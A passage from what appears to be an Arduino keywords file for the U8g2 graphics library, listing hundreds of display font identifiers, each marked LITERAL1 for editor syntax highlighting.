g2_font_timB14_tr\tLITERAL1\nu8g2_font_timB14_tn\tLITERAL1\nu8g2_font_timB18_tf\tLITERAL1\nu8g2_font_timB18_tr\tLITERAL1\nu8g2_font_timB18_tn\tLITERAL1\nu8g2_font_timB24_tf\tLITERAL1\nu8g2_font_timB24_tr\tLITERAL1\nu8g2_font_timB24_tn\tLITERAL1\nu8g2_font_timR08_tf\tLITERAL1\nu8g2_font_timR08_tr\tLITERAL1\nu8g2_font_timR08_tn\tLITERAL1\nu8g2_font_timR10_tf\tLITERAL1\nu8g2_font_timR10_tr\tLITERAL1\nu8g2_font_timR10_tn\tLITERAL1\nu8g2_font_timR12_tf\tLITERAL1\nu8g2_font_timR12_tr\tLITERAL1\nu8g2_font_timR12_tn\tLITERAL1\nu8g2_font_timR14_tf\tLITERAL1\nu8g2_font_timR14_tr\tLITERAL1\nu8g2_font_timR14_tn\tLITERAL1\nu8g2_font_timR18_tf\tLITERAL1\nu8g2_font_timR18_tr\tLITERAL1\nu8g2_font_timR18_tn\tLITERAL1\nu8g2_font_timR24_tf\tLITERAL1\nu8g2_font_timR24_tr\tLITERAL1\nu8g2_font_timR24_tn\tLITERAL1\nu8g2_font_lubB08_tf\tLITERAL1\nu8g2_font_lubB08_tr\tLITERAL1\nu8g2_font_lubB08_tn\tLITERAL1\nu8g2_font_lubB08_te\tLITERAL1\nu8g2_font_lubB10_tf\tLITERAL1\nu8g2_font_lubB10_tr\tLITERAL1\nu8g2_font_lubB10_tn\tLITERAL1\nu8g2_font_lubB10_te\tLITERAL1\nu8g2_font_lubB12_tf\tLITERAL1\nu8g2_font_lubB12_tr\tLITERAL1\nu8g2_font_lubB12_tn\tLITERAL1\nu8g2_font_lubB12_te\tLITERAL1\nu8g2_font_lubB14_tf\tLITERAL1\nu8g2_font_lubB14_tr\tLITERAL1\nu8g2_font_lubB14_tn\tLITERAL1\nu8g2_font_lubB14_te\tLITERAL1\nu8g2_font_lubB18_tf\tLITERAL1\nu8g2_font_lubB18_tr\tLITERAL1\nu8g2_font_lubB18_tn\tLITERAL1\nu8g2_font_lubB18_te\tLITERAL1\nu8g2_font_lubB19_tf\tLITERAL1\nu8g2_font_lubB19_tr\tLITERAL1\nu8g2_font_lubB19_tn\tLITERAL1\nu8g2_font_lubB19_te\tLITERAL1\nu8g2_font_lubB24_tf\tLITERAL1\nu8g2_font_lubB24_tr\tLITERAL1\nu8g2_font_lubB24_tn\tLITERAL1\nu8g2_font_lubB24_te\tLITERAL1\nu8g2_font_lubBI08_tf\tLITERAL1\nu8g2_font_lubBI08_tr\tLITERAL1\nu8g2_font_lubBI08_tn\tLITERAL1\nu8g2_font_lubBI08_te\tLITERAL1\nu8g2_font_lubBI10_tf\tLITERAL1\nu8g2_font_lubBI10_tr\tLITERAL1\nu8g2_font_lubBI10_tn\tLITERAL1\nu8g2_font_lubBI10_te\tLITERAL1\nu8g2_font_lubBI12_tf\tLITERAL1\nu8g2_font_lubBI12_tr\tLITERAL1\nu8g2_font_lubBI12_tn\tLITERAL1\nu8g2_font_lubBI12_te\tLITERAL1\nu8g2_font_lubBI14_tf\tLITERAL1\nu8g2_font_lubBI14_tr\tLITERAL1\nu8g2_font_lubBI14_tn\tLITERAL1\nu8g2_font_lubBI14_te\tLITERAL1\nu8g2_font_lubBI18_tf\tLITERAL1\nu8g2_font_lubBI18_tr\tLITERAL1\nu8g2_font_lubBI18_tn\tLITERAL1\nu8g2_font_lubBI18_te\tLITERAL1\nu8g2_font_lubBI19_tf\tLITERAL1\nu8g2_font_lubBI19_tr\tLITERAL1\nu8g2_font_lubBI19_tn\tLITERAL1\nu8g2_font_lubBI19_te\tLITERAL1\nu8g2_font_lubBI24_tf\tLITERAL1\nu8g2_font_lubBI24_tr\tLITERAL1\nu8g2_font_lubBI24_tn\tLITERAL1\nu8g2_font_lubBI24_te\tLITERAL1\nu8g2_font_lubI08_tf\tLITERAL1\nu8g2_font_lubI08_tr\tLITERAL1\nu8g2_font_lubI08_tn\tLITERAL1\nu8g2_font_lubI08_te\tLITERAL1\nu8g2_font_lubI10_tf\tLITERAL1\nu8g2_font_lubI10_tr\tLITERAL1\nu8g2_font_lubI10_tn\tLITERAL1\nu8g2_font_lubI10_te\tLITERAL1\nu8g2_font_lubI12_tf\tLITERAL1\nu8g2_font_lubI12_tr\tLITERAL1\nu8g2_font_lubI12_tn\tLITERAL1\nu8g2_font_lubI12_te\tLITERAL1\nu8g2_font_lubI14_tf\tLITERAL1\nu8g2_font_lubI14_tr\tLITERAL1\nu8g2_font_lubI14_tn\tLITERAL1\nu8g2_font_lubI14_te\tLITERAL1\nu8g2_font_lubI18_tf\tLITERAL1\nu8g2_font_lubI18_tr\tLITERAL1\nu8g2_font_lubI18_tn\tLITERAL1\nu8g2_font_lubI18_te\tLITERAL1\nu8g2_font_lubI19_tf\tLITERAL1\nu8g2_font_lubI19_tr\tLITERAL1\nu8g2_font_lubI19_tn\tLITERAL1\nu8g2_font_lubI19_te\tLITERAL1\nu8g2_font_lubI24_tf\tLITERAL1\nu8g2_font_lubI24_tr\tLITERAL1\nu8g2_font_lubI24_tn\tLITERAL1\nu8g2_font_lubI24_te\tLITERAL1\nu8g2_font_luBIS08_tf\tLITERAL1\nu8g2_font_luBIS08_tr\tLITERAL1\nu8g2_font_luBIS08_tn\tLITERAL1\nu8g2_font_luBIS08_te\tLITERAL1\nu8g2_font_luBIS10_tf\tLITERAL1\nu8g2_font_luBIS10_tr\tLITERAL1\nu8g2_font_luBIS10_tn\tLITERAL1\nu8g2_font_luBIS10_te\tLITERAL1\nu8g2_font_luBIS12_tf\tLITERAL1\nu8g2_font_luBIS12_tr\tLITERAL1\nu8g2_font_luBIS12_tn\tLITERAL1\nu8g2_font_luBIS12_te\tLITERAL1\nu8g2_font_luBIS14_tf\tLITERAL1\nu8g2_font_luBIS14_tr\tLITERAL1\nu8g2_font_luBIS14_tn\tLITERAL1\nu8g2_font_luBIS14_te\tLITERAL1\nu8g2_font_luBIS18_tf\tLITERAL1\nu8g2_font_luBIS18_tr\tLITERAL1\nu8g2_font_luBIS18_tn\tLITERAL1\nu8g2_font_luBIS18_te\tLITERAL1\nu8g2_font_luBIS19_tf\tLITERAL1\nu8g2_font_luBIS19_tr\tLITERAL1\nu8g2_font_luBIS19_tn\tLITERAL1\nu8g2_font_luBIS19_te\tLITERAL1\nu8g2_font_luBIS24_tf\tLITERAL1\nu8g2_font_luBIS24_tr\tLITERAL1\nu8g2_font_luBIS24_tn\tLITERAL1\nu8g2_font_luBIS24_te\tLITERAL1\nu8g2_font_lubR08_tf\tLITERAL1\nu8g2_font_lubR08_tr\tLITERAL1\nu8g2_font_lubR08_tn\tLITERAL1\nu8g2_font_lubR08_te\tLITERAL1\nu8g2_font_lubR10_tf\tLITERAL1\nu8g2_font_lubR10_tr\tLITERAL1\nu8g2_font_lubR10_tn\tLITERAL1\nu8g2_font_lubR10_te\tLITERAL1\nu8g2_font_lubR12_tf\tLITERAL1\nu8g2_font_lubR12_tr\tLITERAL1\nu8g2_font_lubR12_tn\tLITERAL1\nu8g2_font_lubR12_te\tLITERAL1\nu8g2_font_lubR14_tf\tLITERAL1\nu8g2_font_lubR14_tr\tLITERAL1\nu8g2_font_lubR14_tn\tLITERAL1\nu8g2_font_lubR14_te\tLITERAL1\nu8g2_font_lubR18_tf\tLITERAL1\nu8g2_font_lubR18_tr\tLITERAL1\nu8g2_font_lubR18_tn\tLITERAL1\nu8g2_font_lubR18_te\tLITERAL1\nu8g2_font_lubR19_tf\tLITERAL1\nu8g2_font_lubR19_tr\tLITERAL1\nu8g2_font_lubR19_tn\tLITERAL1\nu8g2_font_lubR19_te\tLITERAL1\nu8g2_font_lubR24_tf\tLITERAL1\nu8g2_font_lubR24_tr\tLITERAL1\nu8g2_font_lubR24_tn\tLITERAL1\nu8g2_font_lubR24_te\tLITERAL1\nu8g2_font_luBS08_tf\tLITERAL1\nu8g2_font_luBS08_tr\tLITERAL1\nu8g2_font_luBS08_tn\tLITERAL1\nu8g2_font_luBS08_te\tLITERAL1\nu8g2_font_luBS10_tf\tLITERAL1\nu8g2_font_luBS10_tr\tLITERAL1\nu8g2_font_luBS10_tn\tLITERAL1\nu8g2_font_luBS10_te\tLITERAL1\nu8g2_font_luBS12_tf\tLITERAL1\nu8g2_font_luBS12_tr\tLITERAL1\nu8g2_font_luBS12_tn\tLITERAL1\nu8g2_font_luBS12_te\tLITERAL1\nu8g2_font_luBS14_tf\tLITERAL1\nu8g2_font_luBS14_tr\tLITERAL1\nu8g2_font_luBS14_tn\tLITERAL1\nu8g2_font_luBS14_te\tLITERAL1\nu8g2_font_luBS18_tf\tLITERAL1\nu8g2_font_luBS18_tr\tLITERAL1\nu8g2_font_luBS18_tn\tLITERAL1\nu8g2_font_luBS18_te\tLITERAL1\nu8g2_font_luBS19_tf\tLITERAL1\nu8g2_font_luBS19_tr\tLITERAL1\nu8g2_font_luBS19_tn\tLITERAL1\nu8g2_font_luBS19_te\tLITERAL1\nu8g2_font_luBS24_tf\tLITERAL1\nu8g2_font_luBS24_tr\tLITERAL1\nu8g2_font_luBS24_tn\tLITERAL1\nu8g2_font_luBS24_te\tLITERAL1\nu8g2_font_luIS08_tf\tLITERAL1\nu8g2_font_luIS08_tr\tLITERAL1\nu8g2_font_luIS08_tn\tLITERAL1\nu8g2_font_luIS08_te\tLITERAL1\nu8g2_font_luIS10_tf\tLITERAL1\nu8g2_font_luIS10_tr\tLITERAL1\nu8g2_font_luIS10_tn\tLITERAL1\nu8g2_font_luIS10_te\tLITERAL1\nu8g2_font_luIS12_tf\tLITERAL1\nu8g2_font_luIS12_tr\tLITERAL1\nu8g2_font_luIS12_tn\tLITERAL1\nu8g2_font_luIS12_te\tLITERAL1\nu8g2_font_luIS14_tf\tLITERAL1\nu8g2_font_luIS14_tr\tLITERAL1\nu8g2_font_luIS14_tn\tLITERAL1\nu8g2_font_luIS14_te\tLITERAL1\nu8g2_font_luIS18_tf\tLITERAL1\nu8g2_font_luIS18_tr\tLITERAL1\nu8g2_font_luIS18_tn\tLITERAL1\nu8g2_font_luIS18_te\tLITERAL1\nu8g2_font_luIS19_tf\tLITERAL1\nu8g2_font_luIS19_tr\tLITERAL1\nu8g2_font_luIS19_tn\tLITERAL1\nu8g2_font_luIS19_te\tLITERAL1\nu8g2_font_luIS24_tf\tLITERAL1\nu8g2_font_luIS24_tr\tLITERAL1\nu8g2_font_luIS24_tn\tLITERAL1\nu8g2_font_luIS24_te\tLITERAL1\nu8g2_font_luRS08_tf\tLITERAL1\nu8g2_font_luRS08_tr\tLITERAL1\nu8g2_font_luRS08_tn\tLITERAL1\nu8g2_font_luRS08_te\tLITERAL1\nu8g2_font_luRS10_tf\tLITERAL1\nu8g2_font_luRS10_tr\tLITERAL1\nu8g2_font_luRS10_tn\tLITERAL1\nu8g2_font_luRS10_te\tLITERAL1\nu8g2_font_luRS12_tf\tLITERAL1\nu8g2_font_luRS12_tr\tLITERAL1\nu8g2_font_luRS12_tn\tLITERAL1\nu8g2_font_luRS12_te\tLITERAL1\nu8g2_font_luRS14_tf\tLITERAL1\nu8g2_font_luRS14_tr\tLITERAL1\nu8g2_font_luRS14_tn\tLITERAL1\nu8g2_font_luRS14_te\tLITERAL1\nu8g2_font_luRS18_tf\tLITERAL1\nu8g2_font_luRS18_tr\tLITERAL1\nu8g2_font_luRS18_tn\tLITERAL1\nu8g2_font_luRS18_te\tLITERAL1\nu8g2_font_luRS19_tf\tLITERAL1\nu8g2_font_luRS19_tr\tLITERAL1\nu8g2_font_luRS19_tn\tLITERAL1\nu8g2_font_luRS19_te\tLITERAL1\nu8g2_font_luRS24_tf\tLITERAL1\nu8g2_font_luRS24_tr\tLITERAL1\nu8g2_font_luRS24_tn\tLITERAL1\nu8g2_font_luRS24_te\tLITERAL1\nu8g2_font_baby_tf\tLITERAL1\nu8g2_font_baby_tr\tLITERAL1\nu8g2_font_baby_tn\tLITERAL1\nu8g2_font_blipfest_07_tr\tLITERAL1\nu8g2_font_blipfest_07_tn\tLITERAL1\nu8g2_font_chikita_tf\tLITERAL1\nu8g2_font_chikita_tr\tLITERAL1\nu8g2_font_chikita_tn\tLITERAL1\nu8g2_font_lucasfont_alternate_tf\tLITERAL1\nu8g2_font_lucasfont_alternate_tr\tLITERAL1\nu8g2_font_lucasfont_alternate_tn\tLITERAL1\nu8g2_font_p01type_tf\tLITERAL1\nu8g2_font_p01type_tr\tLITERAL1\nu8g2_font_p01type_tn\tLITERAL1\nu8g2_font_pixelle_micro_tr\tLITERAL1\nu8g2_font_pixelle_micro_tn\tLITERAL1\nu8g2_font_robot_de_niro_tf\tLITERAL1\nu8g2_font_robot_de_niro_tr\tLITERAL1\nu8g2_font_robot_de_niro_tn\tLITERAL1\nu8g2_font_trixel_square_tf\tLITERAL1\nu8g2_font_trixel_square_tr\tLITERAL1\nu8g2_font_trixel_square_tn\tLITERAL1\nu8g2_font_haxrcorp4089_tr\tLITERAL1\nu8g2_font_haxrcorp4089_tn\tLITERAL1\nu8g2_font_haxrcorp4089_t_cyrillic\tLITERAL1\nu8g2_font_bubble_tr\tLITERAL1\nu8g2_font_bubble_tn\tLITERAL1\nu8g2_font_cardimon_pixel_tf\tLITERAL1\nu8g2_font_cardimon_pixel_tr\tLITERAL1\nu8g2_font_cardimon_pixel_tn\tLITERAL1\nu8g2_font_maniac_tf\tLITERAL1\nu8g2_font_maniac_tr\tLITERAL1\nu8g2_font_maniac_tn\tLITERAL1\nu8g2_font_maniac_te\tLITERAL1\nu8g2_font_lucasarts_scumm_subtitle_o_tf\tLITERAL1\nu8g2_font_lucasarts_scumm_subtitle_o_tr\tLITERAL1\nu8g2_font_lucasarts_scumm_subtitle_o_tn\tLITERAL1\nu8g2_font_lucasarts_scumm_subtitle_r_tf\tLITERAL1\nu8g2_font_lucasarts_scumm_subtitle_r_tr\tLITERAL1\nu8g2_font_lucasarts_scumm_subtitle_r_tn\tLITERAL1\nu8x8_font_lucasarts_scumm_subtitle_o_2x2_f\tLITERAL1\nu8x8_font_lucasarts_scumm_subtitle_o_2x2_r\tLITERAL1\nu8x8_font_lucasarts_scumm_subtitle_o_2x2_n\tLITERAL1\nu8x8_font_lucasarts_scumm_subtitle_r_2x2_f\tLITERAL1\nu8x8_font_lucasarts_scumm_subtitle_r_2x2_r\tLITERAL1\nu8x8_font_lucasarts_scumm_subtitle_r_2x2_n\tLITERAL1\nu8g2_font_utopia24_tf\tLITERAL1\nu8g2_font_utopia24_tr\tLITERAL1\nu8g2_font_utopia24_tn\tLITERAL1\nu8g2_font_utopia24_te\tLITERAL1\nu8g2_font_m_c_kids_nes_credits_font_tr\tLITERAL1\nu8g2_font_chargen_92_tf\tLITERAL1\nu8g2_font_chargen_92_tr\tLITERAL1\nu8g2_font_chargen_92_tn\tLITERAL1\nu8g2_font_chargen_92_te\tLITERAL1\nu8g2_font_chargen_92_mf\tLITERAL1\nu8g2_font_chargen_92_mr\tLITERAL1\nu8g2_font_chargen_92_mn\tLITERAL1\nu8g2_font_chargen_92_me\tLITERAL1\nu8g2_font_fub11_tf\tLITERAL1\nu8g2_font_fub11_tr\tLITERAL1\nu8g2_font_fub11_tn\tLITERAL1\nu8g2_font_fub14_tf\tLITERAL1\nu8g2_font_fub14_tr\tLITERAL1\nu8g2_font_fub14_tn\tLITERAL1\nu8g2_font_fub17_tf\tLITERAL1\nu8g2_font_fub17_tr\tLITERAL1\nu8g2_font_fub17_tn\tLITERAL1\nu8g2_font_fub20_tf\tLITERAL1\nu8g2_font_fub20_tr\tLITERAL1\nu8g2_font_fub20_tn\tLITERAL1\nu8g2_font_fub25_tf\tLITERAL1\nu8g2_font_fub25_tr\tLITERAL1\nu8g2_font_fub25_tn\tLITERAL1\nu8g2_font_fub30_tf\tLITERAL1\nu8g2_font_fub30_tr\tLITERAL1\nu8g2_font_fub30_tn\tLITERAL1\nu8g2_font_fub35_tf\tLITERAL1\nu8g2_font_fub35_tr\tLITERAL1\nu8g2_font_fub35_tn\tLITERAL1\nu8g2_font_fub42_tf\tLITERAL1\nu8g2_font_fub42_tr\tLITERAL1\nu8g2_font_fub42_tn\tLITERAL1\nu8g2_font_fub49_tn\tLITERAL1\nu8g2_font_fub11_t_symbol\tLITERAL1\nu8g2_font_fub14_t_symbol\tLITERAL1\nu8g2_font_fub17_t_symbol\tLITERAL1\nu8g2_font_fub20_t_symbol\tLITERAL1\nu8g2_font_fub25_t_symbol\tLITERAL1\nu8g2_font_fub30_t_symbol\tLITERAL1\nu8g2_font_fub35_t_symbol\tLITERAL1\nu8g2_font_fub42_t_symbol\tLITERAL1\nu8g2_font_fub49_t_symbol\tLITERAL1\nu8g2_font_fur11_tf\tLITERAL1\nu8g2_font_fur11_tr\tLITERAL1\nu8g2_font_fur11_tn\tLITERAL1\nu8g2_font_fur14_tf\tLITERAL1\nu8g2_font_fur14_tr\tLITERAL1\nu8g2_font_fur14_tn\tLITERAL1\nu8g2_font_fur17_tf\tLITERAL1\nu8g2_font_fur17_tr\tLITERAL1\nu8g2_font_fur17_tn\tLITERAL1\nu8g2_font_fur20_tf\tLITERAL1\nu8g2_font_fur20_tr\tLITERAL1\nu8g2_font_fur20_tn\tLITERAL1\nu8g2_font_fur25_tf\tLITERAL1\nu8g2_font_fur25_tr\tLITERAL1\nu8g2_font_fur25_tn\tLITERAL1\nu8g2_font_fur30_tf\tLITERAL1\nu8g2_font_fur30_tr\tLITERAL1\nu8g2_font_fur30_tn\tLITERAL1\nu8g2_font_fur35_tf\tLITERAL1\nu8g2_font_fur35_tr\tLITERAL1\nu8g2_font_fur35_tn\tLITERAL1\nu8g2_font_fur42_tf\tLITERAL1\nu8g2_font_fur42_tr\tLITERAL1\nu8g2_font_fur42_tn\tLITERAL1\nu8g2_font_fur49_tn\tLITERAL1\nu8g2_font_fur11_t_symbol\tLITERAL1\nu8g2_font_fur14_t_symbol\tLITERAL1\nu8g2_font_fur17_t_symbol\tLITERAL1\nu8g2_font_fur20_t_symbol\tLITERAL1\nu8g2_font_fur25_t_symbol\tLITERAL1\nu8g2_font_fur30_t_symbol\tLITERAL1\nu8g2_font_fur35_t_symbol\tLITERAL1\nu8g2_font_fur42_t_symbol\tLITERAL1\nu8g2_font_fur49_t_symbol\tLITERAL1\nu8g2_font_osb18_tf\tLITERAL1\nu8g2_font_osb18_tr\tLITERAL1\nu8g2_font_osb18_tn\tLITERAL1\nu8g2_font_osb21_tf\tLITERAL1\nu8g2_font_osb21_tr\tLITERAL1\nu8g2_font_osb21_tn\tLITERAL1\nu8g2_font_osb26_tf\tLITERAL1\nu8g2_font_osb26_tr\tLITERAL1\nu8g2_font_osb26_tn\tLITERAL1\nu8g2_font_osb29_tf\tLITERAL1\nu8g2_font_osb29_tr\tLITERAL1\nu8g2_font_osb29_tn\tLITERAL1\nu8g2_font_osb35_tf\tLITERAL1\nu8g2_font_osb35_tr\tLITERAL1\nu8g2_font_osb35_tn\tLITERAL1\nu8g2_font_osb41_tf\tLITERAL1\nu8g2_font_osb41_tr\tLITERAL1\nu8g2_font_osb41_tn\tLITERAL1\nu8g2_font_osr18_tf\tLITERAL1\nu8g2_font_osr18_tr\tLITERAL1\nu8g2_font_osr18_tn\tLITERAL1\nu8g2_font_osr21_tf\tLITERAL1\nu8g2_font_osr21_tr\tLITERAL1\nu8g2_font_osr21_tn\tLITERAL1\nu8g2_font_osr26_tf\tLITERAL1\nu8g2_font_osr26_tr\tLITERAL1\nu8g2_font_osr26_tn\tLITERAL1\nu8g2_font_osr29_tf\tLITERAL1\nu8g2_font_osr29_tr\tLITERAL1\nu8g2_font_osr29_tn\tLITERAL1\nu8g2_font_osr35_tf\tLITERAL1\nu8g2_font_osr35_tr\tLITERAL1\nu8g2_font_osr35_tn\tLITERAL1\nu8g2_font_osr41_tf\tLITERAL1\nu8g2_font_osr41_tr\tLITERAL1\nu8g2_font_osr41_tn\tLITERAL1\nu8g2_font_inr16_mf\tLITERAL1\nu8g2_font_inr16_mr\tLITERAL1\nu8g2_font_inr16_mn\tLITERAL1\nu8g2_font_inr19_mf\tLITERAL1\nu8g2_font_inr19_mr\tLITERAL1\nu8g2_font_inr19_mn\tLITERAL1\nu8g2_font_inr21_mf\tLITERAL1\nu8g2_font_inr21_mr\tLITERAL1\nu8g2_font_inr21_mn\tLITERAL1\nu8g2_font_inr24_mf\tLITERAL1\nu8g2_font_inr24_mr\tLITERAL1\nu8g2_font_inr24_mn\tLITERAL1\nu8g2_font_inr24_t_cyrillic\tLITERAL1\nu8g2_font_inr27_mf\tLITERAL1\nu8g2_font_inr27_mr\tLITERAL1\nu8g2_font_inr27_mn\tLITERAL1\nu8g2_font_inr27_t_cyrillic\tLITERAL1\nu8g2_font_inr30_mf\tLITERAL1\nu8g2_font_inr30_mr\tLITERAL1\nu8g2_font_inr30_mn\tLITERAL1\nu8g2_font_inr30_t_cyrillic\tLITERAL1\nu8g2_font_inr33_mf\tLITERAL1\nu8g2_font_inr33_mr\tLITERAL1\nu8g2_font_inr33_mn\tLITERAL1\nu8g2_font_inr33_t_cyrillic\tLITERAL1\nu8g2_font_inr38_mf\tLITERAL1\nu8g2_font_inr38_mr\tLITERAL1\nu8g2_font_inr38_mn\tLITERAL1\nu8g2_font_inr38_t_cyrillic\tLITERAL1\nu8g2_font_inr42_mf\tLITERAL1\nu8g2_font_inr42_mr\tLITERAL1\nu8g2_font_inr42_mn\tLITERAL1\nu8g2_font_inr42_t_cyrillic\tLITERAL1\nu8g2_font_inr46_mf\tLITERAL1\nu8g2_font_inr46_mr\tLITERAL1\nu8g2_font_inr46_mn\tLITERAL1\nu8g2_font_inr46_t_cyrillic\tLITERAL1\nu8g2_font_inr49_mf\tLITERAL1\nu8g2_font_inr49_mr\tLITERAL1\nu8g2_font_inr49_mn\tLITERAL1\nu8g2_font_inr49_t_cyrillic\tLITERAL1\nu8g2_font_inr53_mf\tLITERAL1\nu8g2_font_inr53_mr\tLITERAL1\nu8g2_font_inr53_mn\tLITERAL1\nu8g2_font_inr53_t_cyrillic\tLITERAL1\nu8g2_font_inr57_mn\tLITERAL1\nu8g2_font_inr62_mn\tLITERAL1\nu8x8_font_inr21_2x4_f\tLITERAL1\nu8x8_font_inr21_2x4_r\tLITERAL1\nu8x8_font_inr21_2x4_n\tLITERAL1\nu8x8_font_inr33_3x6_f\tLITERAL1\nu8x8_font_inr33_3x6_r\tLITERAL1\nu8x8_font_inr33_3x6_n\tLITERAL1\nu8x8_font_inr46_4x8_f\tLITERAL1\nu8x8_font_inr46_4x8_r\tLITERAL1\nu8x8_font_inr46_4x8_n\tLITERAL1\nu8g2_font_inb16_mf\tLITERAL1\nu8g2_font_inb16_mr\tLITERAL1\nu8g2_font_inb16_mn\tLITERAL1\nu8g2_font_inb19_mf\tLITERAL1\nu8g2_font_inb19_mr\tLITERAL1\nu8g2_font_inb19_mn\tLITERAL1\nu8g2_font_inb21_mf\tLITERAL1\nu8g2_font_inb21_mr\tLITERAL1\nu8g2_font_inb21_mn\tLITERAL1\nu8g2_font_inb24_mf\tLITERAL1\nu8g2_font_inb24_mr\tLITERAL1\nu8g2_font_inb24_mn\tLITERAL1\nu8g2_font_inb27_mf\tLITERAL1\nu8g2_font_inb27_mr\tLITERAL1\nu8g2_font_inb27_mn\tLITERAL1\nu8g2_font_inb30_mf\tLITERAL1\nu8g2_font_inb30_mr\tLITERAL1\nu8g2_font_inb30_mn\tLITERAL1\nu8g2_font_inb33_mf\tLITERAL1\nu8g2_font_inb33_mr\tLITERAL1\nu8g2_font_inb33_mn\tLITERAL1\nu8g2_font_inb38_mf\tLITERAL1\nu8g2_font_inb38_mr\tLITERAL1\nu8g2_font_inb38_mn\tLITERAL1\nu8g2_font_inb42_mf\tLITERAL1\nu8g2_font_inb42_mr\tLITERAL1\nu8g2_font_inb42_mn\tLITERAL1\nu8g2_font_inb46_mf\tLITERAL1\nu8g2_font_inb46_mr\tLITERAL1\nu8g2_font_inb46_mn\tLITERAL1\nu8g2_font_inb49_mf\tLITERAL1\nu8g2_font_inb49_mr\tLITERAL1\nu8g2_font_inb49_mn\tLITERAL1\nu8g2_font_inb53_mf\tLITERAL1\nu8g2_font_inb53_mr\tLITERAL1\nu8g2_font_inb53_mn\tLITERAL1\nu8g2_font_inb57_mn\tLITERAL1\nu8g2_font_inb63_mn\tLITERAL1\nu8x8_font_inb21_2x4_f\tLITERAL1\nu8x8_font_inb21_2x4_r\tLITERAL1\nu8x8_font_inb21_2x4_n\tLITERAL1\nu8x8_font_inb33_3x6_f\tLITERAL1\nu8x8_font_inb33_3x6_r\tLITERAL1\nu8x8_font_inb33_3x6_n\tLITERAL1\nu8x8_font_inb46_4x8_f\tLITERAL1\nu8x8_font_inb46_4x8_r\tLITERAL1\nu8x8_font_inb46_4x8_n\tLITERAL1\nu8g2_font_logisoso16_tf\tLITERAL1\nu8g2_font_logisoso16_tr\tLITERAL1\nu8g2_font_logisoso16_tn\tLITERAL1\nu8g2_font_logisoso18_tf\tLITERAL1\nu8g2_font_logisoso18_tr\tLITERAL1\nu8g2_font_logisoso18_tn\tLITERAL1\nu8g2_font_logisoso20_tf\tLITERAL1\nu8g2_font_logisoso20_tr\tLITERAL1\nu8g2_font_logisoso20_tn\tLITERAL1\nu8g2_font_logisoso22_tf\tLITERAL1\nu8g2_font_logisoso22_tr\tLITERAL1\nu8g2_font_logisoso22_tn\tLITERAL1\nu8g2_font_logisoso24_tf\tLITERAL1\nu8g2_font_logisoso24_tr\tLITERAL1\nu8g2_font_logisoso24_tn\tLITERAL1\nu8g2_font_logisoso26_tf\tLITERAL1\nu8g2_font_logisoso26_tr\tLITERAL1\nu8g2_font_logisoso26_tn\tLITERAL1\nu8g2_font_logisoso28_tf\tLITERAL1\nu8g2_font_logisoso28_tr\tLITERAL1\nu8g2_font_logisoso28_tn\tLITERAL1\nu8g2_font_logisoso30_tf\tLITERAL1\nu8g2_font_logisoso30_tr\tLITERAL1\nu8g2_font_logisoso30_tn\tLITERAL1\nu8g2_font_logisoso32_tf\tLITERAL1\nu8g2_font_logisoso32_tr\tLITERAL1\nu8g2_font_logisoso32_tn\tLITERAL1\nu8g2_font_logisoso34_tf\tLITERAL1\nu8g2_font_logisoso34_tr\tLITERAL1\nu8g2_font_logisoso34_tn\tLITERAL1\nu8g2_font_logisoso38_tf\tLITERAL1\nu8g2_font_logisoso38_tr\tLITERAL1\nu8g2_font_logisoso38_tn\tLITERAL1\nu8g2_font_logisoso42_tf\tLITERAL1\nu8g2_font_logisoso42_tr\tLITERAL1\nu8g2_font_logisoso42_tn\tLITERAL1\nu8g2_font_logisoso46_tf\tLITERAL1\nu8g2_font_logisoso46_tr\tLITERAL1\nu8g2_font_logisoso46_tn\tLITERAL1\nu8g2_font_logisoso50_tf\tLITERAL1\nu8g2_font_logisoso50_tr\tLITERAL1\nu8g2_font_logisoso50_tn\tLITERAL1\nu8g2_font_logisoso54_tf\tLITERAL1\nu8g2_font_logisoso54_tr\tLITERAL1\nu8g2_font_logisoso54_tn\tLITERAL1\nu8g2_font_logisoso58_tf\tLITERAL1\nu8g2_font_logisoso58_tr\tLITERAL1\nu8g2_font_logisoso58_tn\tLITERAL1\nu8g2_font_logisoso62_tn\tLITERAL1\nu8g2_font_logisoso78_tn\tLITERAL1\nu8g2_font_logisoso92_tn\tLITERAL1\nu8g2_font_pressstart2p_8f\tLITERAL1\nu8g2_font_pressstart2p_8r\tLITERAL1\nu8g2_font_pressstart2p_8n\tLITERAL1\nu8g2_font_pressstart2p_8u\tLITERAL1\nu8x8_font_pressstart2p_f\tLITERAL1\nu8x8_font_pressstart2p_r\tLITERAL1\nu8x8_font_pressstart2p_n\tLITERAL1\nu8x8_font_pressstart2p_u\tLITERAL1\nu8g2_font_pcsenior_8f\tLITERAL1\nu8g2_font_pcsenior_8r\tLITERAL1\nu8g2_font_pcsenior_8n\tLITERAL1\nu8g2_font_pcsenior_8u\tLITERAL1\nu8x8_font_pcsenior_f\tLITERAL1\nu8x8_font_pcsenior_r\tLITERAL1\nu8x8_font_pcsenior_n\tLITERAL1\nu8x8_font_pcsenior_u\tLITERAL1\nu8g2_font_pxplusibmcgathin_8f\tLITERAL1\nu8g2_font_pxplusibmcgathin_8r\tLITERAL1\nu8g2_font_pxplusibmcgathin_8n\tLITERAL1\nu8g2_font_pxplusibmcgathin_8u\tLITERAL1\nu8x8_font_pxplusibmcgathin_f\tLITERAL1\nu8x8_font_pxplusibmcgathin_r\tLITERAL1\nu8x8_font_pxplusibmcgathin_n\tLITERAL1\nu8x8_font_pxplusibmcgathin_u\tLITERAL1\nu8g2_font_pxplusibmcga_8f\tLITERAL1\nu8g2_font_pxplusibmcga_8r\tLITERAL1\nu8g2_font_pxplusibmcga_8n\tLITERAL1\nu8g2_font_pxplusibmcga_8u\tLITERAL1\nu8x8_font_pxplusibmcga_f\tLITERAL1\nu8x8_font_pxplusibmcga_r\tLITERAL1\nu8x8_font_pxplusibmcga_n\tLITERAL1\nu8x8_font_pxplusibmcga_u\tLITERAL1\nu8g2_font_pxplustandynewtv_8f\tLITERAL1\nu8g2_font_pxplustandynewtv_8r\tLITERAL1\nu8g2_font_pxplustandynewtv_8n\tLITERAL1\nu8g2_font_pxplustandynewtv_8u\tLITERAL1\nu8x8_font_pxplustandynewtv_f\tLITERAL1\nu8x8_font_pxplustandynewtv_r\tLITERAL1\nu8x8_font_pxplustandynewtv_n\tLITERAL1\nu8x8_font_pxplustandynewtv_u\tLITERAL1\nu8g2_font_pxplustandynewtv_t_all\tLITERAL1\nu8g2_font_pxplustandynewtv_8_all\tLITERAL1\nu8g2_font_pxplusibmvga9_tf\tLITERAL1\nu8g2_font_pxplusibmvga9_tr\tLITERAL